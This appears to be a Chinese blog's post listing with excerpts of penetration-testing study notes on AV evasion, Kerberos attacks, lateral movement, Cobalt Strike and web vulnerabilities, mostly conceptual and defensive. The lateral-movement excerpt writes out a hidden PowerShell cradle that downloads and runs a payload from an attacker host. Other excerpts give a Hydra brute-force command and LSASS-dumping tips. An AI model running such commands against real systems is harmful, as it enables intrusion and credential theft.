- 博客(39)
- 收藏
- 关注
RSS订阅原创 红蓝对抗（CTF与护网）重点知识总结
攻击方，模拟黑客，使用各类攻击手段挖掘漏洞；：防守方，负责加固系统、检测、处置攻击、保障业务/服务可用。：模拟实战演练，提前暴露安全隐患，在真实攻击来临前修复漏洞，同时锻炼攻防人员实战能力，支撑国家网络安全人才建设。CTF赛事：CISCN、网鼎杯、TCTF等；分为解题、对抗、混合模式。护网HVV：公安部牵头攻防演练，每年6‑9月，分为国家级、省/市/区县、企业级。省市级、企业级对抗赛，多为邀请制。CTF三种赛制：线上入围赛，一血、二血、三血有分数加成。：线下赛；AWD以进攻拿flag得分；
2026-09-21 18:13:37
212
原创 应急响应重点知识
应急响应终止后必须开展复盘评估，形成闭环管理，核心复盘内容：响应启动是否及时、等级判定是否准确；人员、物资、装备调配是否到位；部门联动是否顺畅、处置流程是否规范；存在的短板、漏洞及整改措施；预案优化、队伍培训、物资储备完善方案。
2026-09-21 08:44:06
197
原创 免杀对抗重点知识总结
全称反杀毒技术，修改恶意样本特征，躲避杀毒软件查杀。###3、花指令 插入无业务功能汇编垃圾指令，打乱执行流，干扰静态反汇编与特征码匹配，不改变程序最终业务逻辑。核心思想：磁盘上存放加密后的shellcode，程序运行时内存解密，磁盘文件不存在恶意特征，绕过静态查杀。绕过Defender难度最高，仅仅简单加密编码不足以绕过，需要大量修改固有变量、字符串特征。：shellcode加密解密、powershell编码分离，磁盘无恶意特征，局限：单纯加壳免杀效果有限，很多壳可被脱壳，容易被行为查杀捕获。
2026-08-24 21:52:11
217
原创 邮件钓鱼的应用‑重点知识总结
邮件钓鱼属于社会工程学攻击，核心利用人性弱点；结合网页钓鱼、木马捆绑，既可窃取账号密码，也可实现主机入侵；防御重点：校验来源、不盲从紧急话术、不随意执行邮件下载的程序。
2026-08-20 17:07:46
203
原创 Kali Linux内核提权漏洞重点知识总结
该标志丢失/漏检是这一批漏洞的共同根源，导致内核误以为内存可写，跳过写时复制COW。如果这块内存是只读文件页缓存，没有COW就会直接篡改页缓存。本地普通用户（非root）就可以完成提权，不需要网络、不需要SUID程序，本地风险极高。内存取证：检测页缓存与磁盘文件内容不一致，磁盘校验工具无法发现内存篡改。容器环境同样受影响，内核漏洞穿透容器，容器内普通用户可宿主机提权。攻击无磁盘痕迹，入侵排查只看磁盘文件无法检测，必须分析内存。：仅修改内存中文件缓存，磁盘文件原样不变；清空页缓存，运行exp，通过污染。
2026-08-18 20:33:29
245
原创 域渗透Kerberos票据攻击完整链路重点知识总结
定期重置KRBTGT账号密码，失效所有黄金票据；定期修改服务器机器账户密码，作废白银票据；内网边界隔离，禁止跳板机双向流量转发，阻断FRP隧道；修复MS17-010等高危SMB漏洞，关闭445端口对外访问；限制域管理员在普通工作站登录，避免LSASS缓存域管凭据；审计计划任务、系统服务、注册表Run启动项，监控4697/4698安全事件；禁止内网主机对外主动下载恶意程序，阻断certutil/powershell文件下载通道。
2026-08-17 10:19:55
168
原创 Kerberos票据与域渗透全流程知识总结
Windows域默认认证协议，全程不传输明文密码，依靠加密票据完成身份校验，核心两类票据：TGT（票据授予票据）、TGS（服务票据）客户端用用户NTLM Hash加密时间戳提交KDC；KDC校验后返回，TGT由域特殊账户krbtgt的Hash加密。访问目标服务时，客户端携带TGT、认证器、目标SPN发给KDC；KDC返回TGS票据，TGS由加密。客户端提交TGS+认证器给目标服务；服务解密TGS读取PAC权限信息，校验通过放行访问。
2026-08-16 14:51:41
225
原创 内网横向移动全套实操重点知识总结
powershell -nop -w hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://攻击机IP:端口/payload.ps1')"不在目标运行Mimikatz（极易被杀），仅导出lsass内存dump文件，回传到攻击机本地解析，痕迹少、拦截概率低。dump无数据：必须SYSTEM权限、procdump与系统位数一致、dump文件完整（几百MB）
2026-08-02 23:04:02
208
原创 Windows Server 2008 R2（IIS7.5）Web提权核心重点总结
IIS应用池尽量使用低权限内置账户，限制SeImpersonatePrivilege；及时安装KB3139914等高危内核补丁；限制PowerShell执行策略、阻断远程IEX内存加载、拦截certutil下载恶意程序；EDR监控JuicyPotato特征、COM异常回调、命名管道异常创建；禁止网站程序池使用本地管理员身份运行。
2026-08-01 20:18:24
230
原创 内网信息收集 核心重点知识总结
小范围设备组网（公司、校园、家庭WiFi）。：对等网络，主机各自管理账号，无统一管控，适合小型网络；主机地位平等。：企业大型网络架构，依靠集中管理，核心设备为；DC存储全域账号、密码、主机信息，统一身份校验；域管理员（Domain Admins）可登录域内任意主机，是内网渗透最高价值目标。域层级：单域→父域子域→域树→域林；多域依靠实现跨域访问。
2026-07-26 23:25:51
175
原创 Cobalt Strike（CS）内网渗透工具核心重点知识总结
美国红队专用商业渗透测试工具，多用于内网渗透、APT攻击，是红队核心武器，常联动Mimikatz等工具。，支持多人团队分布式协同操作。：多协议主机上线、权限提升、凭据窃取、端口转发/SOCKS代理、Office钓鱼、木马捆绑、文件管理、屏幕监控、内网扫描等。：依靠Malleable C2 Profile自定义流量特征，规避安全设备检测；默认服务端口50050，已被安全设备拉黑，实战必须修改端口。
2026-07-25 20:04:14
253
原创 电商Web渗透+内网CobaltStrike 核心重点知识总结
《网络安全法》第二十七条，禁止无授权入侵、窃取网络数据；。：学习必须自建靶机（iWebShop电商CMS+宝塔Linux面板），禁止直接测试淘宝、京东等线上电商平台。
2026-07-24 22:09:26
262
原创 渗透测试全套工具核心知识点总结
工具：Fofa、鹰图测绘平台，挖掘二级域名（如目标企业官网、公开备案域名作为基础入口工具：dirsearch、7kbscan/admin/manage/login/reg/register辅助手段：浏览器插件Find Something提取页面隐藏URL、接口路径工具：潮汐指纹识别、AI渗透平台（TRAE Work）作用：识别CMS、Web框架，针对性复现Nday历史漏洞基础弱口令组合：admin/admin、root/root等，配合后台登录页面爆破。
2026-07-15 16:54:29
217
原创 MSF框架+主流漏洞重点知识总结
补丁修复：所有漏洞最根本解决方案，定期更新系统/组件补丁端口管控：445（SMB）、3632等高危端口外网封禁，内网IP白名单协议降级：关闭老旧危险协议（SMBv1）权限最小化：服务不以root/管理员权限运行流量防护：防火墙、IDS拦截畸形SMB、恶意请求头社会工程防护：不打开陌生文档、不点击未知钓鱼链接内存防护：系统开启DEP、ASLR、CFG等内存保护机制。
2026-06-25 21:15:37
201
原创 PHP序列化漏洞 重点知识总结
核心攻击链可控参数 → 传入恶意序列化字符串 →重建对象 → 自动触发魔术方法 → 执行恶意代码/读取文件/XSS。高频坑点代码顺序：变量定义位置决定目标值；影响序列化格式与URL传输；版本漏洞：CVE-2016-7124 绕过__wakeup；\00空字符在URL中需编码，易解析失败。基础防御严格过滤的入参，不接收用户可控的序列化数据；升级PHP版本，修复已知反序列化漏洞；对敏感类、魔术方法做权限与逻辑限制。
2026-06-17 12:24:10
261
原创 RCE漏洞 重点知识总结
前端JS校验均可通过抓包、禁用JS绕过。;，用于拼接多条系统命令。eval()（代码执行）、system()exec()（命令执行）。多层加密代码（base64、gzip压缩）可本地解密分析真实执行逻辑。
2026-06-16 09:57:55
210
原创 文件包含&下载读取漏洞 重点知识总结
严格过滤用户输入，禁止参数出现../%00、伪协议关键字；白名单限制允许包含/下载的文件、后缀、路径；；限制文件包含、下载函数权限，禁止使用绝对路径；升级PHP版本，废弃%00截断等旧版本漏洞利用方式。
2026-06-15 07:41:33
208
原创 文件上传漏洞 重点知识总结
核心规律：客户端校验（JS、文件后缀、类型）均可被抓包/改代码绕过；服务端校验存在逻辑缺陷，也存在各类绕过方式。攻击链路：上传恶意文件 → 绕过服务端校验 → 中间件解析/文件包含执行脚本 → 远程控制服务器。安全警示：本内容仅限合法靶场学习，严禁针对公网真实网站实施攻击，触犯法律法规。防御方向（反向考点）：服务端白名单校验、过滤特殊字符(空格/点/%00)、重命名上传文件、禁用危险中间件配置、限制文件执行权限。
2026-06-14 07:25:10
289
原创 XXE漏洞 重点知识总结
XML外部实体注入。应用解析XML输入时，未禁用外部实体加载，攻击者可构造恶意XML，调用外部实体，触发各类攻击行为。区分有回显和无回显XXE的使用场景与载荷差异；读取PHP文件必须使用做Base64编码；牢记、外部DTD、实体嵌套三个XML语法限制；；实战链路：抓包探测 → 目录/端口扫描 → 读源码拿凭证 → 多层解密获取Flag。
2026-06-13 19:23:27
220
原创 CSRF&SSRF 漏洞重点知识总结
CSRF（Cross-site request forgery）跨站请求伪造，又称，攻击者诱导已登录目标网站的用户访问恶意页面/链接，利用浏览器自动携带Cookie的特性，冒用用户身份执行非法操作。
2026-06-11 18:02:29
163
原创 SQL注入全体系重点知识总结
SQL注入是利用，在输入框/URL参数中插入恶意SQL语句，欺骗数据库执行非授权操作的漏洞。本质：把用户输入拼接进原生SQL语句，改变原有执行逻辑。
2026-06-09 12:20:35
205
原创 SRC渗透信息收集全流程知识点总结
渗透测试本质是信息收集，目的摸清目标资产、系统、弱点，扩大攻击面；可依托企业名、域名、IP单一或多项线索开展收集。：企业工商/备案资产、域名IP资产、Web技术栈（操作系统/中间件/开发语言/数据库）、敏感目录与后台地址。
2026-06-06 20:41:08
321
原创 Python重点知识总结（含爬虫）
Python优势：代码简洁、库丰富，大幅提升安全/爬虫效率爬虫 = 请求 + 解析 + 循环 + 异常处理安全核心：抓包改参测越权、目录扫描找备份、工具自动化挖漏洞必备技能。
2026-04-14 18:31:08
1899
原创 PHP反序列化安全核心重点总结
类与对象类：用定义，是属性+方法的抽象模板；对象：实例化后的实体。属性：类的成员变量，用修饰，类内用调用。方法：类的成员函数，分普通方法（手动调用）和魔术方法（自动触发）。魔术方法关键命名：以双下划线开头，PHP内置，无需手动调用。漏洞核心触发点：：反序列化时自动触发（最常用）。：对象销毁时自动触发（隐蔽性极高）。：实例化时触发，反序列化不触发。定义序列化： → 对象转字符串，用于传输/存储。反序列化： → 字符串还原为对象。安全本质序列化/反序列化本身无风险，风险源于无校验反序列化+魔术方法+危险函数。序
2026-04-10 15:18:06
253
原创 web后端
网站PHP上传代码未对用户上传文件做严格过滤校验，导致攻击者将恶意PHP脚本伪装成合法文件（图片、文档等）成功上传并被服务器解析执行的高危漏洞。
2026-04-02 17:16:52
363
原创 Web核心技术与服务器安全重点知识总结
也叫Web容器，是连接用户与Web内容的核心枢纽，核心能力为存储Web资源+接收HTTP/HTTPS请求+返回对应资源，主流产品为Apache、Nginx、IIS。Web的工作核心是客户端-协议-服务器-资源的协同，完整访问流程是基础考点，需熟记；三大Web服务器的核心漏洞均为解析漏洞，成因可归结为解析逻辑缺陷/版本bug/配置不当；漏洞防御的核心是版本升级+配置加固+权限控制+业务层过滤，四者缺一不可；Web安全的本质是层层防护，需结合服务器针对性防御和通用防护原则，构建多维度安全体系。
2026-03-26 16:54:35
373
原创 Linux系统基础知识（含木马）
SSH配置核心：Debian系列安装用apt，需修改开启root远程和密码认证，重启服务生效；Hydra暴力破解关键：需先确认目标SSH端口开放，命令中-l指定用户名、-P指定密码字典，格式为hydra -l 用户名 -P 字典路径 ssh://目标IP；操作注意：修改配置文件后必须重启SSH服务，暴力破解仅可在授权环境下测试，禁止非法攻击。
2026-03-17 15:40:26
393
原创 Windows操作系统基础安全
核查用户级（C:\Users\ 用户名 \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）和系统级启动文件夹；：通过社会工程学（邮件 / 聊天链接）、内网渗透、漏洞利用植入木马，诱导目标执行后，攻击机获取 Meterpreter 会话，可执行截屏、获取 CMD、查看进程等操作。：应用程序日志（软件运行状态）、安全日志（账户登录 / 权限变更）、系统日志（服务启动 / 系统错误），均通过「计算机管理→事件查看器」查看；
2026-03-12 18:15:34
371
原创 Windows 操作系统
系统服务层面：及时升级系统、安装安全补丁，禁用无用协议 / 服务，管控高危端口（139/445/3389）；第三方软件层面：更新至最新版本、定期排查、启用系统防护，提高安全意识；账户与权限层面：禁用弱密码，限制管理员账户使用，定期排查隐藏用户 / 影子用户等后门；日常监控层面：监控进程 / 网络连接 / 日志，及时发现并清理异常程序和操作。
2026-03-10 11:45:21
430
原创 计算机网络(1)
工作在数据链路层的“局域网分发器”，通过MAC地址表转发数据帧，实现同一网段内设备的直接通信（负责“本地串门”）：数据链路层的“物理地址”，是网卡的唯一硬件标识（类似“身份证”），是同一网段内数据帧的投递标识（不可修改）A类：网络号8位，主机号24位，首段IP范围１－１２６，１２７.０.０.０为回环地址（测试本机网络）３.C类：１９２.１６８.０.０－１９２.１６８.２５５.２５５。２.B类：１７２.１６.０.０－１７２.３１.２５５.２５５。１.A类：１０.０.０.０－１０.２５５.２５５.２５５。
2026-02-27 17:43:26
699
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人